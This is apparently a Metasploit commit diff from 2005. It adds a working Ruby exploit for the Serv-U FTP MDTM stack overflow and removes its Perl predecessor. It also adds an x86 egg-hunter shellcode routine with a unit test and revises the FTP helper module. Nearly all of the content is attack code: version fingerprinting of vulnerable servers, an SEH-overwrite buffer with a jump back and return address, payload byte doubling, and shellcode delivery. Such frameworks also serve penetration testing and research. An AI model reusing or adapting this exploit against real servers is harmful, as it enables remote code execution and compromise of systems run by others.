Serv-U exploit working, depends on searcher() in x86, many fixes to FTP mixin

git-svn-id: file:///home/svn/incoming/trunk@3103 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2005-11-25 20:02:21 +00:00
parent 0f99dcc82c
commit fb47661a8f
4 changed files with 135 additions and 241 deletions

View File

@ -23,8 +23,8 @@ module Exploit::Remote::Ftp
[
Opt::RHOST,
Opt::RPORT(21),
OptString.new('USER', [ false, 'The username to authenticate as' ]),
OptString.new('PASS', [ false, 'The password for the specified username' ])
OptString.new('USER', [ false, 'The username to authenticate as', 'anonymous']),
OptString.new('PASS', [ false, 'The password for the specified username', 'metasploit@example.org'])
], Msf::Exploit::Remote::Ftp)
end
@ -58,13 +58,12 @@ module Exploit::Remote::Ftp
if (user)
print_status("Sending username #{user}...")
send_user(user, ftpsock)
res = fd.get_once
res = send_user(user, ftpsock)
# If the user supplied a password, send that
if (pass)
print_status("Sending password...")
send_pass(pass, ftpsock)
res = send_pass(pass, ftpsock)
end
end
end
@ -89,7 +88,7 @@ module Exploit::Remote::Ftp
# This method sends one command with zero or more parameters
#
def send_cmd(args, recv = true, nsock = self.sock)
cmd = args.join(" ")
cmd = args.join(" ") + "\r\n"
if (recv)
return raw_send_recv(cmd, nsock)
else

View File

@ -24,6 +24,31 @@ module X86
REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx',
'esp', 'ebp', 'esi', 'edi' ] # :nodoc:
#
# This method adds/subs a packed long integer
#
def self.dword_adjust(dword, amount=0)
[dword.unpack('V')[0] + amount].pack('V')
end
#
# This method returns the opcodes that compose a tag-based search routine
#
def self.searcher(tag)
"\xbe" + dword_adjust(tag,-1)+ # mov esi, Tag - 1
"\x46" + # inc esi
"\x47" + # inc edi (end_search:)
"\x39\x37" + # cmp [edi],esi
"\x75\xfb" + # jnz 0xa (end_search)
"\x46" + # inc esi
"\x4f" + # dec edi (start_search:)
"\x39\x77\xfc" + # cmp [edi-0x4],esi
"\x75\xfa" + # jnz 0x10 (start_search)
"\xff\xe7" # jmp edi
end
#
# This method returns the opcodes that compose a short jump instruction to
# the supplied relative offset.

View File

@ -52,4 +52,20 @@ class Rex::Arch::X86::UnitTest < ::Test::Unit::TestCase
assert_equal("\x81\xc4\x11\x11\x01\x00", Klass.add(0x11111, Klass::ESP, '', true))
end
def test_searcher
s = "\xbe"+ # mov esi, Tag - 1
"\x00\x02\x03\x04"+
"\x46"+ # inc esi
"\x47"+ # inc edi (end_search:)
"\x39\x37"+ # cmp [edi],esi
"\x75\xfb"+ # jnz 0xa (end_search)
"\x46"+ # inc esi
"\x4f"+ # dec edi (start_search:)
"\x39\x77\xfc"+ # cmp [edi-0x4],esi
"\x75\xfa"+ # jnz 0x10 (start_search)
"\xff\xe7" # jmp edi
assert_equal(s, Klass.searcher("\x04\x03\x02\x01"))
end
end

View File

@ -88,245 +88,99 @@ class Exploits::Windows::Ftp::ServUMDTMOverflow < Msf::Exploit::Remote
#
# Heh :)
def check
connect
disconnect
=begin
case banner
when /Serv-U FTP Server v4\.1/
print_status('Found version 4.1.0.3, exploitable')
return Exploit::CheckCode::Vulnerable
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
when /Serv-U FTP Server v5\.0/
print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
return Exploit::CheckCode::Appears
package Msf::Exploit::servu_mdtm_overflow;
when /Serv-U FTP Server v4\.0/
print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
send_user(datastore['USER'])
send_pass(datastore['PASS'])
if (double_ff?())
print_status('Found version 4.0.0.4, exploitable');
return Exploit::CheckCode::Vulnerable
else
print_status('Found version 4.1.0.0, exploitable');
return Exploit::CheckCode::Vulnerable
end
use base "Msf::Exploit";
use strict;
use Pex::Searcher;
use Pex::x86;
use Pex::Text;
when /Serv-U FTP Server/
print_status('Found an unknown version, try it!');
return Exploit::CheckCode::Detected
else
print_status('We could not recognize the server banner')
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
# From 5.0.0.4 Change Log
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
#
# Nice way to play it down boys
#
# Connected to ftp2.rhinosoft.com.
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
#
# Heh :)
def exploit
connect_login
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
print_status("Trying target #{target.name}...")
sub Check {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
# Should have paid more attention to skylined's exploit, only after figuring
# out how my payloads were getting transformed did I remember seeing \xff
# doubling in his CHMOD exploit, arg!
shellcode = payload.encoded
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
case datastore['ForceDoubling']
when 1
print_status("Forced doubling of all \\xff sequences in the encoded payload")
shellcode.gsub!(/\xff/, "\xff\xff")
when 0
print_status("Forced doubling has been disabled")
when 2
if (double_ff?())
print_status("Forced doubling enabled after detection of version 4.0.0.4")
shellcode.gsub!(/\xff/, "\xff\xff")
end
end
if ($s->IsError) {
$self->PrintError;
return $self->CheckCode('Connect');
}
# Searcher expects address to start scanning at in edi
# Since we got here via a pop pop ret, we can just the address of the jmp
# off the stack, add esp, BYTE -4 ; pop edi
my $r;
search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
search_stub = Rex::Arch::X86.searcher(search_rtag)
search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
if (datastore['SEHOffset'] < search_code.length)
print_error("Not enough room for search code, adjust SEHOffset")
return
end
$r = $self->response($s);
goto NORESP if(!$r);
if($r =~ /Serv-U FTP Server v4\.1/) {
$self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
return $self->CheckCode('Appears');
}
elsif($r =~ /Serv-U FTP Server v5\.0/) {
$self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
return $self->CheckCode('Appears');
}
elsif($r =~ /Serv-U FTP Server v4\.0/) {
$self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
}
elsif($r =~ /Serv-U FTP Server/) {
$self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
return $self->CheckCode('Appears');
}
else {
$self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
return $self->CheckCode('Safe');
}
jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
goto NORESP if(!$self->response($s));
buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
buf << search_code
buf << jump_back
buf << [target.ret].pack('V')
buf << ' /'
buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
buf << shellcode
buf << search_rtag
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
goto NORESP if(!$self->response($s));
send_cmd( [buf], false )
$s->Send("P\@SW\r\n");
$r = $self->response($s);
goto NORESP if(!$r);
if($r =~ /500/) {
$self->PrintLine('[*] Found version 4.0.0.4, exploitable');
return $self->CheckCode('Appears');
}
else {
$self->PrintLine('[*] Found version 4.1.0.0, exploitable');
return $self->CheckCode('Appears');
}
# quit is for losers, exiting uncleanly rocks.
return $self->CheckCode('Safe');
# dirty
NORESP:
$self->PrintLine('[*] No response from FTP server');
return $self->CheckCode('Generic');
}
sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $sehOffset = $self->GetLocal('SEHOffset');
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('Error creating socket: '.$s->GetError);
return;
}
my $r;
$r = $self->response($s);
goto NORESP if(!$r);
# $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
# $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
goto NORESP if(!$self->response($s));
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
goto NORESP if(!$self->response($s));
# Autodetect no more
# if(!$targetIndex) {
# $s->Send("P\@SW\r\n");
# $r = $self->response($s);
# goto NORESP if(!$r);
#
# $targetIndex = $r =~ /500/ ? 1 : 1;
# }
# Should have paid more attention to skylined's exploit, only after figuring
# out how my payloads were getting transformed did I remember seeing \xff
# doubling in his CHMOD exploit, arg!
if($self->GetLocal('ForceDoubling') == 1) {
$self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
$shellcode = xffDoubler($shellcode);
}
elsif($self->GetLocal('ForceDoubling') == 0) {
$self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
}
else {
$s->Send("P\@SW\r\n");
$r = $self->response($s);
goto NORESP if(!$r);
if($r =~ /^500/) {
$self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
$shellcode = xffDoubler($shellcode);
}
}
my $target = $self->Targets->[$targetIndex];
$self->PrintLine('[*] Trying to exploit target ' . $target->[0]);
my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");
# Searcher expects address to start scanning at in edi
# Since we got here via a pop pop ret, we can just the address of the jmp
# off the stack, add esp, BYTE -4 ; pop edi
my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';
if($sehOffset < length($searchCode)) {
$self->PrintLine('[*] Not enough room for search code.');
return;
}
my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
# $jmpBack = "\xcc\xcc\xcc\xcc";
my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
$command .= $searchCode;
$command .= $jmpBack . pack('V', $target->[1]);
$command .= ' /' . $searcher->StartTag . $shellcode . $searcher->EndTag . "\r\n";
$s->Send($command);
$r = $self->response($s, 2);
if($r) {
$self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
}
$self->Handler($s);
return;
# dirty
NORESP:
$self->PrintLine('[*] No response from FTP server');
return;
}
sub response {
my $self = shift;
my $sock = shift;
my $r;
if(@_) {
my $timeout = shift;
$r = $sock->Recv(-1, $timeout);
}
else {
$r = $sock->Recv(-1);
}
chomp($r);
$r =~ s/\r//g;
$self->PrintLine("[*] REMOTE> $r") if($r);
return($r);
}
# Serv-U is dumb. Doubling for 4.0.0.4
sub xffDoubler {
my $payload = shift;
$payload =~ s/\xff/\xff\xff/g;
return($payload);
}
=end
disconnect
handler
end
def double_ff?
res = send_cmd( ['P@SW'], true )
return (res and res =~ /^500/) ? true : false
end
end
end